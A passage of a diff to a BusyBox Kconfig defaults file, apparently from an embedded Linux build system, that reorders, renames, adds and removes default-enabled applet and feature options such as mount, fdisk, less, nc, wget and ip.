+config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
+config BUSYBOX_DEFAULT_BLOCKDEV
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
+config BUSYBOX_DEFAULT_DMESG
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
+	default y
+config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
+	default y
+config BUSYBOX_DEFAULT_FATATTR
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
+config BUSYBOX_DEFAULT_FBSET
 	bool
 	default n
-config BUSYBOX_DEFAULT_MOUNT
+config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
+	default n
+config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
+config BUSYBOX_DEFAULT_FDFORMAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
+config BUSYBOX_DEFAULT_FDISK
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
+config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
+config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
+	default n
+config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
+	default n
+config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
+	default n
+config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_NSENTER
+config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
+config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_REV
+config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETARCH
+config BUSYBOX_DEFAULT_FINDFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_UEVENT
+config BUSYBOX_DEFAULT_FLOCK
 	bool
 	default n
-config BUSYBOX_DEFAULT_UNSHARE
+config BUSYBOX_DEFAULT_FDFLUSH
 	bool
 	default n
-config BUSYBOX_DEFAULT_ACPID
+config BUSYBOX_DEFAULT_FREERAMDISK
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_ACPID_COMPAT
+config BUSYBOX_DEFAULT_FSCK_MINIX
 	bool
 	default n
-config BUSYBOX_DEFAULT_BLKID
+config BUSYBOX_DEFAULT_FSTRIM
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_BLKID_TYPE
+config BUSYBOX_DEFAULT_GETOPT
 	bool
 	default n
-config BUSYBOX_DEFAULT_DMESG
+config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
 	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_DMESG_PRETTY
+	default n
+config BUSYBOX_DEFAULT_HEXDUMP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FBSET
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_FBSET_FANCY
+config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FBSET_READMODE
+config BUSYBOX_DEFAULT_HD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FDFLUSH
+config BUSYBOX_DEFAULT_HWCLOCK
 	bool
-	default n
-config BUSYBOX_DEFAULT_FDFORMAT
+	default y
+config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FDISK
+config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FDISK_SUPPORT_LARGE_DISKS
+config BUSYBOX_DEFAULT_IPCRM
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FDISK_WRITABLE
+config BUSYBOX_DEFAULT_IPCS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_AIX_LABEL
+config BUSYBOX_DEFAULT_LOSETUP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_SGI_LABEL
+config BUSYBOX_DEFAULT_LSPCI
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_SUN_LABEL
+config BUSYBOX_DEFAULT_LSUSB
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_OSF_LABEL
+config BUSYBOX_DEFAULT_MDEV
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_GPT_LABEL
+config BUSYBOX_DEFAULT_FEATURE_MDEV_CONF
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FDISK_ADVANCED
+config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FINDFS
+config BUSYBOX_DEFAULT_FEATURE_MDEV_RENAME_REGEXP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FLOCK
+config BUSYBOX_DEFAULT_FEATURE_MDEV_EXEC
 	bool
 	default n
-config BUSYBOX_DEFAULT_FREERAMDISK
+config BUSYBOX_DEFAULT_FEATURE_MDEV_LOAD_FIRMWARE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FSCK_MINIX
+config BUSYBOX_DEFAULT_MKE2FS
 	bool
 	default n
 config BUSYBOX_DEFAULT_MKFS_EXT2
@@ -1516,55 +1537,55 @@ config BUSYBOX_DEFAULT_FEATURE_MINIX2
 config BUSYBOX_DEFAULT_MKFS_REISER
 	bool
 	default n
-config BUSYBOX_DEFAULT_MKFS_VFAT
-	bool
-	default n
-config BUSYBOX_DEFAULT_GETOPT
+config BUSYBOX_DEFAULT_MKDOSFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_GETOPT_LONG
+config BUSYBOX_DEFAULT_MKFS_VFAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_HEXDUMP
+config BUSYBOX_DEFAULT_MKSWAP
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_HEXDUMP_REVERSE
+config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
 	bool
 	default n
-config BUSYBOX_DEFAULT_HD
+config BUSYBOX_DEFAULT_MORE
 	bool
 	default n
-config BUSYBOX_DEFAULT_HWCLOCK
+config BUSYBOX_DEFAULT_MOUNT
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_LONG_OPTIONS
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_FAKE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HWCLOCK_ADJTIME_FHS
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_VERBOSE
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPCRM
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_HELPERS
 	bool
-	default n
-config BUSYBOX_DEFAULT_IPCS
+	default y
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_LABEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_LOSETUP
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_NFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_LSPCI
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_CIFS
 	bool
-	default n
-config BUSYBOX_DEFAULT_LSUSB
+	default y
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_FLAGS
 	bool
-	default n
-config BUSYBOX_DEFAULT_MKSWAP
+	default y
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_FSTAB
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_MKSWAP_UUID
+config BUSYBOX_DEFAULT_FEATURE_MOUNT_OTHERTAB
 	bool
 	default n
-config BUSYBOX_DEFAULT_MORE
+config BUSYBOX_DEFAULT_NSENTER
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_NSENTER_LONG_OPTS
 	bool
 	default n
 config BUSYBOX_DEFAULT_PIVOT_ROOT
@@ -1579,6 +1600,9 @@ config BUSYBOX_DEFAULT_RDEV
 config BUSYBOX_DEFAULT_READPROFILE
 	bool
 	default n
+config BUSYBOX_DEFAULT_REV
+	bool
+	default n
 config BUSYBOX_DEFAULT_RTCWAKE
 	bool
 	default n
@@ -1588,24 +1612,42 @@ config BUSYBOX_DEFAULT_SCRIPT
 config BUSYBOX_DEFAULT_SCRIPTREPLAY
 	bool
 	default n
-config BUSYBOX_DEFAULT_SWAPONOFF
+config BUSYBOX_DEFAULT_SETARCH
 	bool
 	default n
+config BUSYBOX_DEFAULT_LINUX32
+	bool
+	default n
+config BUSYBOX_DEFAULT_LINUX64
+	bool
+	default n
+config BUSYBOX_DEFAULT_SWAPON
+	bool
+	default y
 config BUSYBOX_DEFAULT_FEATURE_SWAPON_DISCARD
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_SWAPON_PRI
 	bool
 	default n
+config BUSYBOX_DEFAULT_SWAPOFF
+	bool
+	default y
 config BUSYBOX_DEFAULT_SWITCH_ROOT
 	bool
 	default y
+config BUSYBOX_DEFAULT_UEVENT
+	bool
+	default n
 config BUSYBOX_DEFAULT_UMOUNT
 	bool
 	default y
 config BUSYBOX_DEFAULT_FEATURE_UMOUNT_ALL
 	bool
 	default y
+config BUSYBOX_DEFAULT_UNSHARE
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_MOUNT_LOOP
 	bool
 	default y
@@ -1678,112 +1720,13 @@ config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SQUASHFS
 config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_SYSV
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
-	bool
-	default n
-config BUSYBOX_DEFAULT_CONSPY
-	bool
-	default n
-config BUSYBOX_DEFAULT_CROND
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_CROND_D
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
-	string
-	default "/etc"
-config BUSYBOX_DEFAULT_I2CGET
-	bool
-	default n
-config BUSYBOX_DEFAULT_I2CSET
-	bool
-	default n
-config BUSYBOX_DEFAULT_I2CDUMP
-	bool
-	default n
-config BUSYBOX_DEFAULT_I2CDETECT
-	bool
-	default n
-config BUSYBOX_DEFAULT_LESS
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
-	int
-	default 9999999
-config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
-	bool
-	default n
-config BUSYBOX_DEFAULT_NANDWRITE
-	bool
-	default n
-config BUSYBOX_DEFAULT_NANDDUMP
-	bool
-	default n
-config BUSYBOX_DEFAULT_RFKILL
+config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UBIFS
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETSERIAL
-	bool
-	default n
-config BUSYBOX_DEFAULT_TASKSET
-	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIATTACH
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIDETACH
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIMKVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIRMVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIRSVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIUPDATEVOL
-	bool
-	default n
-config BUSYBOX_DEFAULT_UBIRENAME
+config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_UDF
 	bool
 	default n
-config BUSYBOX_DEFAULT_WALL
+config BUSYBOX_DEFAULT_FEATURE_VOLUMEID_XFS
 	bool
 	default n
 config BUSYBOX_DEFAULT_ADJTIMEX
@@ -1831,6 +1774,21 @@ config BUSYBOX_DEFAULT_FEATURE_CHAT_CLR_ABORT
 config BUSYBOX_DEFAULT_CHRT
 	bool
 	default n
+config BUSYBOX_DEFAULT_CONSPY
+	bool
+	default n
+config BUSYBOX_DEFAULT_CROND
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_CROND_D
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_CROND_CALL_SENDMAIL
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_CROND_DIR
+	string
+	default "/etc"
 config BUSYBOX_DEFAULT_CRONTAB
 	bool
 	default y
@@ -1867,7 +1825,7 @@ config BUSYBOX_DEFAULT_FEATURE_EJECT_SCSI
 config BUSYBOX_DEFAULT_FBSPLASH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FLASHCP
+config BUSYBOX_DEFAULT_FLASH_ERASEALL
 	bool
 	default n
 config BUSYBOX_DEFAULT_FLASH_LOCK
@@ -1876,40 +1834,85 @@ config BUSYBOX_DEFAULT_FLASH_LOCK
 config BUSYBOX_DEFAULT_FLASH_UNLOCK
 	bool
 	default n
-config BUSYBOX_DEFAULT_FLASH_ERASEALL
+config BUSYBOX_DEFAULT_FLASHCP
 	bool
 	default n
-config BUSYBOX_DEFAULT_IONICE
+config BUSYBOX_DEFAULT_HDPARM
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CGET
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CSET
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CDUMP
+	bool
+	default n
+config BUSYBOX_DEFAULT_I2CDETECT
 	bool
 	default n
 config BUSYBOX_DEFAULT_INOTIFYD
 	bool
 	default n
+config BUSYBOX_DEFAULT_IONICE
+	bool
+	default n
 config BUSYBOX_DEFAULT_LAST
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_LAST_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_HDPARM
+config BUSYBOX_DEFAULT_LESS
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_LESS_MAXLINES
+	int
+	default 9999999
+config BUSYBOX_DEFAULT_FEATURE_LESS_BRACKETS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_GET_IDENTITY
+config BUSYBOX_DEFAULT_FEATURE_LESS_FLAGS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_SCAN_HWIF
+config BUSYBOX_DEFAULT_FEATURE_LESS_TRUNCATE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF
+config BUSYBOX_DEFAULT_FEATURE_LESS_MARKS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_DRIVE_RESET
+config BUSYBOX_DEFAULT_FEATURE_LESS_REGEXP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_TRISTATE_HWIF
+config BUSYBOX_DEFAULT_FEATURE_LESS_WINCH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_HDPARM_HDIO_GETSET_DMA
+config BUSYBOX_DEFAULT_FEATURE_LESS_ASK_TERMINAL
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_LESS_DASHCMD
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_LESS_LINENUMS
 	bool
 	default n
 config BUSYBOX_DEFAULT_LOCK
@@ -1936,91 +1939,79 @@ config BUSYBOX_DEFAULT_MOUNTPOINT
 config BUSYBOX_DEFAULT_MT
 	bool
 	default n
-config BUSYBOX_DEFAULT_RAIDAUTORUN
+config BUSYBOX_DEFAULT_NANDWRITE
 	bool
 	default n
-config BUSYBOX_DEFAULT_READAHEAD
+config BUSYBOX_DEFAULT_NANDDUMP
 	bool
 	default n
-config BUSYBOX_DEFAULT_RUNLEVEL
+config BUSYBOX_DEFAULT_RAIDAUTORUN
 	bool
 	default n
-config BUSYBOX_DEFAULT_RX
+config BUSYBOX_DEFAULT_READAHEAD
 	bool
 	default n
-config BUSYBOX_DEFAULT_SETSID
+config BUSYBOX_DEFAULT_RFKILL
 	bool
 	default n
-config BUSYBOX_DEFAULT_STRINGS
-	bool
-	default y
-config BUSYBOX_DEFAULT_TIME
-	bool
-	default y
-config BUSYBOX_DEFAULT_TIMEOUT
+config BUSYBOX_DEFAULT_RUNLEVEL
 	bool
 	default n
-config BUSYBOX_DEFAULT_TTYSIZE
+config BUSYBOX_DEFAULT_RX
 	bool
 	default n
-config BUSYBOX_DEFAULT_VOLNAME
+config BUSYBOX_DEFAULT_SETSERIAL
 	bool
 	default n
-config BUSYBOX_DEFAULT_WATCHDOG
+config BUSYBOX_DEFAULT_SETSID
 	bool
 	default n
-config BUSYBOX_DEFAULT_NAMEIF
+config BUSYBOX_DEFAULT_STRINGS
 	bool
-	default n
-config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
+	default y
+config BUSYBOX_DEFAULT_TASKSET
 	bool
 	default n
-config BUSYBOX_DEFAULT_NBDCLIENT
+config BUSYBOX_DEFAULT_FEATURE_TASKSET_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_NC
+config BUSYBOX_DEFAULT_TIME
 	bool
 	default y
-config BUSYBOX_DEFAULT_NC_SERVER
+config BUSYBOX_DEFAULT_TIMEOUT
 	bool
 	default n
-config BUSYBOX_DEFAULT_NC_EXTRA
+config BUSYBOX_DEFAULT_TTYSIZE
 	bool
 	default n
-config BUSYBOX_DEFAULT_NC_110_COMPAT
+config BUSYBOX_DEFAULT_UBIATTACH
 	bool
 	default n
-config BUSYBOX_DEFAULT_PING
-	bool
-	default y
-config BUSYBOX_DEFAULT_PING6
-	bool
-	default y
-config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
+config BUSYBOX_DEFAULT_UBIDETACH
 	bool
-	default y
-config BUSYBOX_DEFAULT_WGET
+	default n
+config BUSYBOX_DEFAULT_UBIMKVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
+config BUSYBOX_DEFAULT_UBIRMVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
+config BUSYBOX_DEFAULT_UBIRSVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
+config BUSYBOX_DEFAULT_UBIUPDATEVOL
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
+config BUSYBOX_DEFAULT_UBIRENAME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
+config BUSYBOX_DEFAULT_VOLNAME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
+config BUSYBOX_DEFAULT_WALL
 	bool
 	default n
-config BUSYBOX_DEFAULT_WHOIS
+config BUSYBOX_DEFAULT_WATCHDOG
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_IPV6
@@ -2056,19 +2047,16 @@ config BUSYBOX_DEFAULT_DNSD
 config BUSYBOX_DEFAULT_ETHER_WAKE
 	bool
 	default n
-config BUSYBOX_DEFAULT_FAKEIDENTD
-	bool
-	default n
 config BUSYBOX_DEFAULT_FTPD
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FTP_WRITE
+config BUSYBOX_DEFAULT_FEATURE_FTPD_WRITE
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_FTPD_ACCEPT_BROKEN_LIST
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_FTP_AUTHENTICATION
+config BUSYBOX_DEFAULT_FEATURE_FTPD_AUTHENTICATION
 	bool
 	default n
 config BUSYBOX_DEFAULT_FTPGET
@@ -2083,6 +2071,9 @@ config BUSYBOX_DEFAULT_FEATURE_FTPGETPUT_LONG_OPTIONS
 config BUSYBOX_DEFAULT_HOSTNAME
 	bool
 	default n
+config BUSYBOX_DEFAULT_DNSDOMAINNAME
+	bool
+	default n
 config BUSYBOX_DEFAULT_HTTPD
 	bool
 	default n
@@ -2143,19 +2134,16 @@ config BUSYBOX_DEFAULT_IFENSLAVE
 config BUSYBOX_DEFAULT_IFPLUGD
 	bool
 	default n
-config BUSYBOX_DEFAULT_IFUPDOWN
-	bool
-	default n
-config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
-	string
-	default ""
-config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
+config BUSYBOX_DEFAULT_IFUP
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP_BUILTIN
+config BUSYBOX_DEFAULT_IFDOWN
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IFCONFIG_BUILTIN
+config BUSYBOX_DEFAULT_IFUPDOWN_IFSTATE_PATH
+	string
+	default ""
+config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IP
 	bool
 	default n
 config BUSYBOX_DEFAULT_FEATURE_IFUPDOWN_IPV4
@@ -2194,6 +2182,24 @@ config BUSYBOX_DEFAULT_FEATURE_INETD_RPC
 config BUSYBOX_DEFAULT_IP
 	bool
 	default y
+config BUSYBOX_DEFAULT_IPADDR
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPLINK
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPROUTE
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPTUNNEL
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPRULE
+	bool
+	default n
+config BUSYBOX_DEFAULT_IPNEIGH
+	bool
+	default n
 config BUSYBOX_DEFAULT_FEATURE_IP_ADDRESS
 	bool
 	default y
@@ -2215,37 +2221,40 @@ config BUSYBOX_DEFAULT_FEATURE_IP_RULE
 config BUSYBOX_DEFAULT_FEATURE_IP_NEIGH
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IP_SHORT_FORMS
+config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IP_RARE_PROTOCOLS
+config BUSYBOX_DEFAULT_IPCALC
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPADDR
+config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPLINK
+config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPROUTE
+config BUSYBOX_DEFAULT_FAKEIDENTD
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPTUNNEL
+config BUSYBOX_DEFAULT_NAMEIF
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPRULE
+config BUSYBOX_DEFAULT_FEATURE_NAMEIF_EXTENDED
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPNEIGH
+config BUSYBOX_DEFAULT_NBDCLIENT
 	bool
 	default n
-config BUSYBOX_DEFAULT_IPCALC
+config BUSYBOX_DEFAULT_NC
+	bool
+	default y
+config BUSYBOX_DEFAULT_NC_SERVER
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IPCALC_FANCY
+config BUSYBOX_DEFAULT_NC_EXTRA
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_IPCALC_LONG_OPTIONS
+config BUSYBOX_DEFAULT_NC_110_COMPAT
 	bool
 	default n
 config BUSYBOX_DEFAULT_NETMSG
@@ -2272,6 +2281,15 @@ config BUSYBOX_DEFAULT_FEATURE_NTPD_SERVER
 config BUSYBOX_DEFAULT_FEATURE_NTPD_CONF
 	bool
 	default n
+config BUSYBOX_DEFAULT_PING
+	bool
+	default y
+config BUSYBOX_DEFAULT_PING6
+	bool
+	default y
+config BUSYBOX_DEFAULT_FEATURE_FANCY_PING
+	bool
+	default y
 config BUSYBOX_DEFAULT_PSCAN
 	bool
 	default n
@@ -2284,6 +2302,9 @@ config BUSYBOX_DEFAULT_SLATTACH
 config BUSYBOX_DEFAULT_TCPSVD
 	bool
 	default n
+config BUSYBOX_DEFAULT_UDPSVD
+	bool
+	default n
 config BUSYBOX_DEFAULT_TELNET
 	bool
 	default n
@@ -2332,9 +2353,6 @@ config BUSYBOX_DEFAULT_TRACEROUTE6
 config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_VERBOSE
 	bool
 	default y
-config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_SOURCE_ROUTE
-	bool
-	default n
 config BUSYBOX_DEFAULT_FEATURE_TRACEROUTE_USE_ICMP
 	bool
 	default n
@@ -2344,6 +2362,36 @@ config BUSYBOX_DEFAULT_TUNCTL
 config BUSYBOX_DEFAULT_FEATURE_TUNCTL_UG
 	bool
 	default n
+config BUSYBOX_DEFAULT_VCONFIG
+	bool
+	default n
+config BUSYBOX_DEFAULT_WGET
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_STATUSBAR
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_AUTHENTICATION
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_LONG_OPTIONS
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_TIMEOUT
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_OPENSSL
+	bool
+	default n
+config BUSYBOX_DEFAULT_FEATURE_WGET_SSL_HELPER
+	bool
+	default n
+config BUSYBOX_DEFAULT_WHOIS
+	bool
+	default n
+config BUSYBOX_DEFAULT_ZCIP
+	bool
+	default n
 config BUSYBOX_DEFAULT_UDHCPC6
 	bool
 	default n
@@ -2395,15 +2443,6 @@ config BUSYBOX_DEFAULT_UDHCPC_SLACK_FOR_BUGGY_SERVERS
 config BUSYBOX_DEFAULT_IFUPDOWN_UDHCPC_CMD_OPTIONS
 	string
 	default ""
-config BUSYBOX_DEFAULT_UDPSVD
-	bool
-	default n
-config BUSYBOX_DEFAULT_VCONFIG
-	bool
-	default n
-config BUSYBOX_DEFAULT_ZCIP
-	bool
-	default n
 config BUSYBOX_DEFAULT_LPD
 	bool
 	default n
@@ -2416,9 +2455,6 @@ config BUSYBOX_DEFAULT_LPQ
 config BUSYBOX_DEFAULT_MAKEMIME
 	bool
 	default n
-config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
-	string
-	default ""
 config BUSYBOX_DEFAULT_POPMAILDIR
 	bool
 	default n
@@ -2434,120 +2470,123 @@ config BUSYBOX_DEFAULT_FEATURE_REFORMIME_COMPAT
 config BUSYBOX_DEFAULT_SENDMAIL
 	bool
 	default n
-config BUSYBOX_DEFAULT_IOSTAT
+config BUSYBOX_DEFAULT_FEATURE_MIME_CHARSET
+	string
+	default ""
+config BUSYBOX_DEFAULT_FREE
 	bool
-	default n
-config BUSYBOX_DEFAULT_LSOF
+	default y
+config BUSYBOX_DEFAULT_FUSER
 	bool
 	default n
-config BUSYBOX_DEFAULT_MPSTAT
+config BUSYBOX_DEFAULT_IOSTAT
 	bool
 	default n
-config BUSYBOX_DEFAULT_NMETER
+config BUSYBOX_DEFAULT_KILL
 	bool
-	default n
-config BUSYBOX_DEFAULT_PMAP
+	default y
+config BUSYBOX_DEFAULT_KILLALL
 	bool
-	default n
-config BUSYBOX_DEFAULT_POWERTOP
+	default y
+config BUSYBOX_DEFAULT_KILLALL5
 	bool
 	default n
-config BUSYBOX_DEFAULT_PSTREE
+config BUSYBOX_DEFAULT_LSOF
 	bool
 	default n
-config BUSYBOX_DEFAULT_PWDX
